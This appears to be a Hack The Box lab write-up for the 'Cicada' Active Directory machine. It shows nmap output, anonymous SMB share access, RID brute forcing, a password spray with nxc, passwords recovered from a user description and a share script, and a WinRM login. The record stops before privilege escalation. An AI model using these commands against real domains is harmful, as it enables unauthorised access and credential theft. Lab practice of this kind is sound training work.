Cicada (HTB)

Into.

Hello Everyone. I allways heard that HTB machines are harder than THM machine let's put that into the test and see what we can do.

Enum.

Portscanning.

So to start off as always we will do some port scanning usin Rust scan.

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-10-27 18:44:28Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
52510/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=10/27%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=671E2ADE%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=A)
SEQ(SP=103%GCD=2%ISR=10A%TI=I%II=I%SS=S%TS=A)
OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Uptime guess: 0.890 days (since Sat Oct 26 22:36:54 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 43674/tcp): CLEAN (Timeout)
|   Check 2 (port 4355/tcp): CLEAN (Timeout)
|   Check 3 (port 62917/udp): CLEAN (Timeout)
|   Check 4 (port 17247/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 6h47m40s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-10-27T18:45:25
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   361.30 ms 10.10.16.1
2   361.68 ms cicada.htb (10.10.11.35)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:58
Completed NSE at 19:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:58
Completed NSE at 19:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:58
Completed NSE at 19:58, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.21 seconds
           Raw packets sent: 111 (8.568KB) | Rcvd: 45 (2.696KB)

From this results we can find another domain which is "CICADA-DC.cicada.htb" Which appears to be the domain controller so i belive this is and Active Directory env.

SMB.

So in windows i always love to start with SMB so running "enum4linux" and "smbclient" i find that the server allows anonymous logins and i find some shares.

Let's check if we can access any of these shares.

So in the HR share i found this message.

Here we can find the default password but there is no username.

Password is : Cicada$M6Corpb*@Lp#nZp!8

So my idea from here was to find some users and maybe one of them will be using the default password.

So using the RID brute force we are able to find some valid users.

nxc smb 10.10.11.35 -u 'anonmyous' -p '' --rid-brute
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\anonmyous: (Guest)
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

so from this list i got the users an put them into a file.

Administrator
krbtgt
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

then preform password spray attack.

 nxc smb 10.10.11.35 -u users -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

And indded we find a valid user.

username:password / michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

After finding this user first i tried to login into smb maybe we can find more info but there is nothing. So i find that we can enumerate more users and looks for possiable other users.

nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'  --users
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.35     445    CICADA-DC        Administrator                 2024-08-26 20:08:03 8       Built-in account for administering the computer/domain
SMB         10.10.11.35     445    CICADA-DC        Guest                         2024-08-28 17:26:56 0       Built-in account for guest access to the computer/domain
SMB         10.10.11.35     445    CICADA-DC        krbtgt                        2024-03-14 11:14:10 2       Key Distribution Center Service Account
SMB         10.10.11.35     445    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 8
SMB         10.10.11.35     445    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 8
SMB         10.10.11.35     445    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0
SMB         10.10.11.35     445    CICADA-DC        david.orelious                2024-03-14 12:17:29 6       Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 6
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated 8 local users: CICADA

Using this command we are able to find a password of the user.

david.orelious:aRt$Lp#7t*VQ!3

After this i tried again to enumerate smb shares in this was successful in the dev share we find this script.

Yet another username and password.

emily.oscars: Q!3@Lp#M6b7tVt

Here we can see that emily has access to Remote admin so we can possible user evil-winrm to get shell on the system

And yeah now we have access on emily account.\

Administrator.

After getting the flag now we can start look for privilage esclation method.

